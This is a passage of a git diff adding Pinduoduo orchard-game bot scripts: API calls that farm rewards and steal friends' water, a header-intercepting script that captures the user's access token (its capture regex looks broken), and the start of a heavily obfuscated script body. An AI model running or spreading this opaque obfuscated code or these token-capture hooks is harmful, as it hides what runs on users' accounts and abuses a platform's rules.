获取任务列表失败!") + } else { + console.log(`\n✅ 获取任务列表成功!`) + $.missionList = dataObj.mission_list + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function completeMission() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/mission/complete/gain?ts=1671003202054&pdduid=0' + let body = { + "mission_type": $.taskType, + "gain_time": 1, + "no_reward": false, + "fun_pl": 10, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 任务完成失败:${dataObj.error_msg}`) + } else { + if (dataObj.result == null) { + console.log(`💧 任务完成:获得${dataObj.reward_list[0].reward_amount}g水滴,当前水滴${dataObj.water_amount}g`) + } else { + console.log(`🚫 该任务已经完成过了~`) + } + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function water() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/water/cost?pdduid=1' + let body = { + "fun_id": "xcx_home_page", + "product_scene": 0, + "lower_end_device": false, + "fun_pl": 10, + "location_auth": false, + "screen_token": "", + "mission_type": 0, + "tubetoken": "", + "atw": true, + "can_trigger_random_mission": true + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 浇水失败:${dataObj.error_msg}`) + } else { + $.redualWater = dataObj.now_water_amount + $.progress_text = dataObj.product.progress_text + $.activity_water_amount = dataObj.accumulate_water_vo.activity_water_amount + console.log(`🧊 浇水成功,还有${$.progress_text}%成熟,剩余${$.redualWater}滴水,明日可领取${$.activity_water_amount}滴水`) + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function applyActivity() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/common/apply/activity?pdduid=9188599218' + let body = { + "type": 18, + "fun_pl": 10, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.success == true) { + console.log(`✅ 获取打卡集水滴任务成功`) + console.log(`💧 已连续打卡${dataObj.continuous_check_in_to_collect_water_vo.finished_count}天,打卡${dataObj.continuous_check_in_to_collect_water_vo.total_count}天可获得奖励`) + } else { + console.log(`🚫 未获取到打卡集水滴任务`) + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function openBox() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/withered/open/box?pdduid=9188599218' + let body = { + "box_order": $.boxOrder, + "tubetoken": "", + "fun_pl": 10 + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 获取宝箱信息失败:${dataObj.error_msg}`) + } else { + if (dataObj.status == 3) { + console.log(`🚫 获取宝箱信息失败`) + } else { + console.log(`💧 收取宝箱成功:收获${dataObj.reward_list[0].reward_amount}滴水`) + } + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getFriends() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor-query/friend/list/page?pdduid=1' + let body = { + "page_num": 1, + "fun_pl": 10, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 获取好友列表失败:${dataObj.error_msg}`) + if (dataObj.error_msg.indexOf('上限') > -1 || dataObj.error_msg.indexOf('异常') > -1) { + $.stealStatus = false + } + } else { + $.friendList = dataObj.friend_list || [] + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function stealWater() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/steal/water?pdduid=1' + let body = { + // "steal_type": 1, + "fun_pl": 10, + "friend_uid": $.friendUid, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 偷水失败:${dataObj.error_msg}`) + } else { + console.log(`💧 偷水成功:偷取好友【${$.stealedName}】${dataObj.steal_amount}滴水,剩余${dataObj.water_amount}滴水`) + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function reward() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor/gain/accumulate/water/reward?pdduid=' + let body = { + "fun_pl": 10, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code) { + console.log(`🚫 获取前一日奖励失败:${dataObj.error_msg}`) + } else { + console.log(`💧 获取前一日奖励成功:${dataObj.acculate_water_vo.reward_amount}滴水`) + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(url, body, method = "POST") { + let headers = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "User-Agent": $.UA, + "Content-Type": "application/json;charset=UTF-8", + "Host": "mobile.yangkeduo.com", + "Origin": "https://mobile.yangkeduo.com", + "AccessToken": $.accessToken + } + return { url: url, method: method, headers: headers, body: JSON.stringify(body), timeout: 30000 }; +} + +function uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return x.replace(/[xy]/g, function (x) { + const r = 16 * Math.random() | 0, n = "x" === x ? r : 3 & r | 8; + return n.toString(36) + }) +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/Scripts/pinduoduo/pdd_getToken.js b/Scripts/pinduoduo/pdd_getToken.js new file mode 100644 index 00000000..9fd66eb7 --- /dev/null +++ b/Scripts/pinduoduo/pdd_getToken.js @@ -0,0 +1,37 @@ +/** + * 脚本作用:拼多多果园获取token + * 重写地址:暂时没有确定具体是那个请求URL会携带token,因为每次手动抓包获取token的url都不一样 + * 触发类型:request-header + * 获取方式:小程序或APP进果园逛一圈+浇水,在请求头request-header中搜索PDDAccessToken + * 注意事项:每次脚本获取会覆盖之前的ck,暂时不支持脚本获取多个token,建议手动抓取然后填到boxjs里面,多账号用@隔开:tk1@tk2 + * 更新时间:2023.01.07 12:30 + */ + +const $ = new API("pdd_getToken"); +!(async () => { + // 暂时不确定哪个URL会携带PDDAccessToken + // Cookie: pdd_vds=xxx; ETag=dKJLmoeS; PDDAccessToken=12HUHDUW; install_token=118E4FCA; + if ($request.headers) { + var cookieValue = $request.headers["Cookie"] || $request.headers["cookie"]; + const token = cookieValue.match(/PDDAccessToken=.+?/); + // const token = `${$request.headers['PDDAccessToken']}` + // const userId = ck.match(/userId=.+?;/) + if (token) { + $.write(token, '#ddgyck'); + $.notify('拼多多果园token获取成功', '', token); + console.log('token:' + token); + } + } + } +) +().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done({}); +}) + +/*********************************** API *************************************/ +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} +/*****************************************************************************/ diff --git a/Scripts/pinduoduo/pdd_guoyuan.js b/Scripts/pinduoduo/pdd_guoyuan.js new file mode 100644 index 00000000..692bc991 --- /dev/null +++ b/Scripts/pinduoduo/pdd_guoyuan.js @@ -0,0 +1,17 @@ +/* +拼多多果园任务脚本,支持qx,loon,shadowrocket,surge,nodejs +[task_local] +30 1,7,12,18,22 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_guoyuan.js + +[Script] +cron "30 1,8,12,17 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_guoyuan.js,tag=拼多多果园 + +青龙环境变量 ddgyck ='AccessToken' +export ddgyck="xxxxx" +小程序或APP 进果园一圈,在请求头中搜索AccessToken,多账号@隔开 +实现部分任务,随缘更新..... +*/ +var _0xodJ='jsjiami.com.v6',_0xodJ_=['‮_0xodJ'],_0x3ac0=[_0xodJ,'X2/Dqw==','C8OnA8Knw6c=','w7Fxw7jCiMOx','wqJXwpjDlsOF','aOWMn+iAtk4JQg==','wo3CjF5ywr/DsVUSKcObworDmzM=','w4gFQQ==','5oq95Ym6wpbCmeW/huWIkuWEt+WIl++/nQ==','RkPDuWNkwox6w5vClMOZw6gZw7w=','w4HCtsKJAsO0','5aSU6Leb776n','w4g9WEt7w7fCjmTDlg==','6I295Yy05Luo5YiG5Yqr6KG45aSY6Law','5rKZ5riR5paM6Zm/5Zu9','w6zDgsKrPi4=','bU/Co8Ofw6w=','wp/CucOIwpkcb1bChDFWw7Qlw7fDrU0=','5oib5Y2o6aCV5Y246IKG','5oiG5Y216aOB5rGB5riI','5pSr6aac56aj6KK2','5q+Q5peR6aCf5YyM6ICn','fcKPIsOiejnCgSoywoLCiw==','5YyA6aej56ad6KCV','5pup6aSy56Sz6KG6','5YWr5aei5re95rKN','w7V0w5PCtsO+','AW7CgsOmwqE=','DcKYXsOwOw==','w6nCtMKywoR4','5bCr5LqeZlcp8Y6yse+8ieS/hueXqeeWpOS6iuaZsuWlgQ==','wprDnMKIwpAa','woNaWyU=','OnzDvQ==','WlTDvWo=','w5rChMOTw40=','UylGwrc=','HH/DhyZC','McKow53Dj8KI','w6PCpMK2wohk','MFo6wrDDrA==','O0IrLMKz','wpd1fxRF','w7fClcK0NsOQ','XVbDtGZk','w6bCgcKHMA==','wpNaWz8x','C2vDgy9X','QsKfw5Q6VA==','esOYw69PHQ==','wqYee8Kzw6zCjMKuQsKr','w5/CjcK9DcO3','P2jDuho=','EjbDu8K5','w4wzQcK2','OwUxw4on','dcOCwo7Cvgk=','LcKFd8OYDw==','Y0fDk2Ja','w4XDj8ONw5HDgw==','w6/DiDnDrw==','L2jDugAR','w7EoaEHCkQ==','w7DDtMOIw5fCsg==','wqBYwoXDpsO7','WGvDhATDnsKYwpDCmVk=','w6vCqsOzw6HDrA==','w6x8w7fDoWo=','w6AuYUlD','wrjDv8KnwpYxfcOgwpVO','wpdCdjrCgw==','KwUxw5A=','w4rChMOTw5fCpw==','QzwlHjo=','A2gAwoI=','T8Ozw6ZIMA==','w5DChMOQw5LDqg==','w4xEw4rDqX0=','QylGwq0=','w4HCgMOcw7TDtA==','wo13OGhn','wrXDrVhYDg==','wprCkGLDg8OY','wq5eRVfDnQ==','w4XDscOgw4/Dgg==','w7hfYTLDvAM=','IWYiEA==','W2fDilzDoA==','woV1bjDCtQ==','DHg1FMKS','w7w8RmhG','JnHCoMKZb31pwozClQ0vwrZkC8Oawro=','wqHDrVheFA==','w4LCqsKawqBcYQ==','w4jCrMKTwoRCfxs=','MsKvw7jDoA==','5omV5Lql5Yitw7Uo','woVYL15H','w6/DrCbDvsKH','TX4zAmHCiXA=','w5B+QMK/aQ==','Tm/CoMOcw7I=','w6HClcKdLA==','JGbDtA==','5YWu5omK5Yqp','w4EqREN9w4A=','wo7ku6/CvsKu','wpFfwqTDksOqw4PCmQ==','YcK3wpLCu2E=','w4fCjMKFL8O5','w7cmcHZg','w6tPYsKASg==','fW3DmH/Dtg==','6K+c5rOq5aSs6LaT','5aSU6Leb776n5p2+556D','5aaC6LSH776m','HMKQw5TDlMKu','wqPDr8O5Xw==','HMK4w6PDssKk','wr/DrMOCXFM=','w6LCqcKNwq5X','w47DocOow5rDgw==','woZ2wqLDr8OF','KioBw4h2','woR0wrLDj8O4','w6zDlcOHJ1Q=','w4HDrMKzOgw=','wqbCjXQ=','QMOEaMODMw==','YMOOWMOdLQ==','wrzCjlbDq8Ox','ZMK6wqLCj20=','w63DpcO2C1Y=','w5jCj8OVw5rDoQ==','VyocBSU=','EMOnB8KMw5Q=','w59WQxzDgA==','w4o2WcK4Iw==','wpjDpcOkYVU=','6I+/5Yyl5p6O5qKP5L6v5oCq5aaC6LWz','wprCl1BRPQ==','J8ODNsK+w7c=','TMOew6hHDw==','wphUVQ==','I1PCpsOYwrM=','b8OqZcOlKw==','w5ZQw47CnsO5wpRue8Kk','GGYO','YMO5w7lxBw==','U1jDqVHDuw==','HnPCiMKTQA==','XkfDqnx1','ehEMFiBm','w6vCicOUw7zDoQ==','5ael5aSI5p6a5ZqN','wopJwpvDiMOrw5U=','NFnClg==','UCxIwqBDRA==','w6xxw4jDj1/Ctk4=','OAA/w512wro=','w4oqXmxmw53CkWQ=','ZRhsw5ggwq3Cg8KowqjCmsKuPUhsT8KxwpU/T15Ec8KzbjLCvGbCt8Oof8KR','wobCqHN3wps=','U8OwwqzCmhU=','FcOvEQ==','w4dNw5fClMOl','wq7DgR7CgUs=','w6/Dp8KHPDM=','w6XDosKi','F2Ir','NMKvw67DlsKow60hST4=','JXrDtA==','w4PCjMOZw5LDmz4hdA==','wq/DoMKmwpY2','wrjDu8OzQGTCi8KnfAxJbcKlV30bwqk=','woPCjE1qwqLDtWMMKcOOwrzDnyLDtA==','UcKMw5gxMsO0w4MF','NXLCrw==','cl3DqmnDqyhMSGh+wpI=','6L+O6KKZ5Lu2','5aSu6LSR776D5beo6aCE5Y6R','IH3Dpx5QWBcpwrjDncOzwq7Dr8Onw4E0wrfDvhTDo3rCp8KOw7dQGMOyPMOgScONKsKXwq/DsEfDr8OFKcK2wrt9woPCqzfCkyA/wrrClXfCtBXCmSXClcKKPsK3KMOI','TGvDmhk=','wrfDnGd8KA==','wrFIBWRm','6I+h5YyW5Lmt5Yik5YuL6KOk5aWk6LSZ','w47Cl8OGw4XDtA==','VQTDtWZjwpdMw5DCn8Ohw64Fw6nDo8OFNsONw40Gw4caMMOAwqBzwprCtMOww5jCksKOwrvDscOgacK0wpzDp8K3w43DmcOQUMOqwrNROT3CscKhw77DjsOjOQZgXsO0ScKvwpvChALDisOhd8OPLDbChcKkACYRQwPDsxtdw5bCrMONN8KKw4fDuDtCb8Ow','RsKVw7w=','SMODXw==','w7bCoMOnw6PDqA==','w5vCo8KDAMOk','wpNVXgRh','w6VAYg3Dgw==','w59Nw5s=','wrXCouWlqeWKr8Ox5Y225b6d','8Jiik+++lUrDiQ==','woZ0YRLClQ==','D2fDhipU','RsOBbsOFCsOQG2ABw5PCtWQ=','w4bDmcOkN3rDrsKQw4jCuicowqU=','AV8lGcKd','K8OqAcKPw5w=','VFjDrWrDrw==','wrXDrCLClGM=','wojCiEdBwqjDtn8YOA==','wrB6Rm7Dn8KRw5/DszfCiijCiirCqA==','WCdI','UCdCwrBTXCTDrxUi','M37CscKV','P8KSe8Oq','wonChlg=','eFfDuVZl','wohBMQ==','IcOxOcKHw7c=','w4kgR016w5vCinjDnxA=','w7nClMKaNMOgGAhnJgN5wrLCl8ODPRFvIxXDocKuw7AmcHrCgMK5wpAwNMKaSsK5cUPCjC7Cg8K7wo3DsxnCuMO0GsOnSFUkw4jCghUYTsKdwrNnREgIwqTCocOWV8ONfX5rZMOPXcK3wozCjsKKw4/Ds0Nt','VH8kEw==','IMKmw7jDk8KU','LjYqHMKPOgfCuXpBwpAuwoEzwonDuyo=','KcK3wolkPMKBw6LDpxUGdyswwptxRmhwworCp8Ozw6hRw4wdwqQ1woJkwp7ClHfCo8OLQWJxH8KGwpTDkQ==','Q8OrwoI=','wrx1UR5Z','w77DjRTDo8KL','w4HCisOd','w4RvRcK4','wpBUXzhwXsK7wpjCow==','5aWU6LWy776I5p+n556i','NBAsw5Rmw6vCncK0wrnDhsKwY1g7HcO5wohhVA1dJsO0fS3DrnXDrMK7PsOTwpteRWTCjWnDsDYTw7bCgQHCrA7CnH7Cpkouwqw5W2A7w4HDh0XDr8OoSQ7DrWTDgA==','w6jDhiPDrw==','Z8Ktw7InEA==','w7bCj8KnwqhK','cF4BKVs=','wqLCggfCjUrDj8Kgw6TDoE11YMKjXETDiA==','wohIUnnCm8KDwqPCgAvDocK9L2Ak','FMOpHsKaw58=','KcK3wol